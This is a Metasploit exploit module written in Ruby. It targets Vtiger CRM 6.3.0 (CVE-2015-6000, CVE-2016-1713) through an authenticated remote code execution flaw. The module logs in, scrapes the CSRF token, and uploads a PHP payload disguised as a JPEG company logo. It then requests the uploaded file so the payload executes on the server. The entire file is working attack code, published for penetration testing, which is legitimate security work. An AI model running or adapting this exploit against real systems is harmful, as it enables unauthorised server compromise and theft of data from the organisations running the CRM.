##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Vtiger CRM - Authenticated Logo Upload RCE',
      'Description' => %q{
        Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo.
        Instead of uploading an image, an attacker may choose to upload a file containing PHP code and
        run this code by accessing the resulting PHP file.

        This module was tested against vTiger CRM v6.3.0.
      },
      'Author' =>
        [
          'Benjamin Daniel Mussler', # Discoverys
          'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
          'SecureLayer7.net' # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2015-6000'],
          ['CVE','2016-1713'],
          ['EDB', '38345']
        ],
      'DefaultOptions' =>
        {
          'Encoder' => 'php/base64',
          'RPORT' => 8888
        },
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Targets' =>
        [
          ['vTiger CRM v6.3.0', {}],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2015-09-28'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Base vTiger CRM directory path', '/']),
        OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to authenticate with', ''])
      ])

    register_advanced_options(
      [
        OptBool.new('PHPSHORTTAG', [true, 'Use short open php tags around payload', true])
      ])
  end

  def check
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') })

    unless res
      vprint_error("Unable to access the index.php file")
      return CheckCode::Unknown
    end

    unless res.code == 200
      vprint_error("Error accessing the index.php file")
      return CheckCode::Unknown
    end

    if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
      vprint_status("vTiger CRM version: #{$1}")
      if $1 == '6.3.0'
        return CheckCode::Vulnerable
      else
        return CheckCode::Detected
      end
    end

    CheckCode::Safe
  end

  # Login Function.
  def login
    # Dummy Request for grabbing CSRF token and PHPSESSION ID
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vhost' => "#{rhost}",
    })

    # Grabbing CSRF token from body
    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
    vprint_good("CSRF Token for login: #{csrf}")

    # Get Login now.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'module' => 'Users',
        'action' => 'Login',
      },
      'vars_post' => {
        '__vtrftk' => csrf,
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      },
    })

    unless res
      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
    end

    cookie = nil
    if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
      vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
      cookie = res.get_cookies.split[-1]
    end

    unless cookie
      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
    end

    cookie
  end

  def exploit
    cookie = login
    unless cookie
      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed")
    end

    pay_name = rand_text_alpha(rand(5..10)) + ".php"

    # Retrieve CSRF token
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vhost' => "#{rhost}",
      'cookie' => cookie
    })

    # Grabbing CSRF token from body
    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
    vprint_good("CSRF Token for Form Upload: #{csrf}")

    stager = datastore['PHPSHORTTAG'] ? '<? ' : '<?php '
    stager << payload.encoded
    stager << ' ?>'

    # Setting Company Form data
    post_data = Rex::MIME::Message.new
    post_data.add_part(csrf, nil, nil, "form-data; name=\"__vtrftk\"") # CSRF token
    post_data.add_part('Vtiger', nil, nil, "form-data; name=\"module\"")
    post_data.add_part('Settings', nil, nil, "form-data; name=\"parent\"")
    post_data.add_part('CompanyDetailsSave', nil, nil, "form-data; name=\"action\"")
    post_data.add_part(stager, "image/jpeg", nil, "form-data; name=\"logo\"; filename=\"#{pay_name}\"")
    post_data.add_part('vtiger', nil, nil, "form-data; name=\"organizationname\"")
    data = post_data.to_s

    print_status("Uploading payload: #{pay_name}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vhost' => "#{rhost}",
      'cookie' => cookie,
      'connection' => 'close',
      'headers' => {
        'Referer' => "http://#{peer}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",
        'Upgrade-Insecure-Requests' => '1',
      },
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
    })

    unless res && res.code == 302
      fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
    end

    # Cleanup file
    register_files_for_cleanup(pay_name)

    vprint_status("Executing Payload: #{peer}/test/logo/#{pay_name}" )
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "test", "logo", pay_name)
    })

    if res && res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Payload not executed")
    end
  end
end
